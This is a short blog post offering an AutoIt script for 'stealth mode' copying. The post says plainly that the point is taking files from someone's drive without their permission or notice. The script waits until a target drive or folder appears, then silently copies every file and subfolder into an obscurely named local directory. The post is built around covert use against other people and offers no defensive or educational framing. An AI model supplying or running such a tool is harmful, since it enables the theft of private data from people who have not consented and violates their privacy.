Saturday, 4 January 2014

COPYING IN STEALTH MODE

1/04/2014 10:22:00 pm

Ever wanted to copy files from someones drive without their permission and without being noticed. You can do this quite easily provided, the drive is connected to your PC. You might think what's the big deal in it, but actually you can do this without their notice right before of them (Stealth mode). That's the main catch in doing this. Well I had a great application with this ............ This is more like application oriented because the code here is quite simple
                  A small video showing the working...



And here's the code...

;Copying files in stealth mode
;Libraries...
#Include <File.au3>
#Include <Array.au3>
;variables used...
;Change the drive to S orF whatever its generally for a pendrive, CD drive or Hard Disk..
Global $direxist = 1
Global $Drive = "C:\Manji\editor"
Global $Dest = "C:\Manji\others\videos\New folder\tollywood\52640"
;Keep on checking for every 5 seconds till the drive is connected
   while(Not FileExists($Drive))
  Sleep(5000)
   WEnd
   Sleep(3000)
If FileExists($Drive) Then 
;Getting the list of all folders
   $FileList=_FileListToArray($Drive,"*",2)
   $fol = UBound($FileList)
;Using the variable $direxist as a check if any folder exists
If @Error=1 Then
 $direxist = 0
EndIf
;First copying all the files
   FileCopy($Drive & "\*.*", $Dest)
;Then the folder and subfolders
If $direxist == 1 Then
   For $k = 1 To $fol-1
;Copies all folders and subfolders and files from directory mentioned
   DirCopy($Drive & "\" & $FileList[$k],$Dest & "\" & $FileList[$k])
   Next
EndIf
EndIf
   Exit

You can also get it from here

Written by

0 comments:

Post a Comment

 

© 2013 The Repository. All rights resevered. Designed by Templateism

Back To Top